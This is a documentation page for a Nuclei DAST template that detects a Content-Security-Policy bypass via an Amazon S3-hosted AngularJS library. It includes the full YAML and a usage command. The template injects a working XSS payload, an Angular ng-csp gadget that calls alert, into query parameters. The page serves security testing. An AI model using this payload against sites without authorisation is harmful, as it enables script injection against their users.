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Content-Security-Policy Bypass - Amazon S3 Elysium

ID: amazon-s3-elysium-csp-bypass

Severity: medium

Author: renniepak,DhiyaneshDK

Tags: xss,csp-bypass,amazon-s3-elysium

Description

Section titled “Description”

YAML Source

Section titled “YAML Source”
id: amazon-s3-elysium-csp-bypass


info:
  name: Content-Security-Policy Bypass - Amazon S3 Elysium
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,amazon-s3-elysium


flow: http(1) && headless(1)


http:
  - method: GET
    path:
      - "{{BaseURL}}"


    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "amazonaws.com"
        condition: and
        internal: true


headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"


      - action: waitdialog
        name: amazon_s3_elysium_csp_xss
        args:
          max-duration: 5s


    payloads:
      injection:
        - <body ng-app ng-csp><script src="//elysiumwebsite.s3.amazonaws.com/uploads/blog-media/rockstar/angular.min.js"></script><div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == \'window\'">{{ [1].reduce(value.alert, 1); }}</div></div></div></body>


    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"


    matchers:
      - type: dsl
        dsl:
          - "amazon_s3_elysium_csp_xss == true"
# digest: 4a0a0047304502200e9dcfffd7db6830b91f52b322ad804170bb733418c4344ee8ce2aa404ed4ba9022100c2b51f87e53140d7d4089e5b3c6373669c770ffbfbd281ee5a0c3c5f6889df7d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/xss/csp-bypass/amazon-s3-elysium-csp-bypass.yaml"

View on Github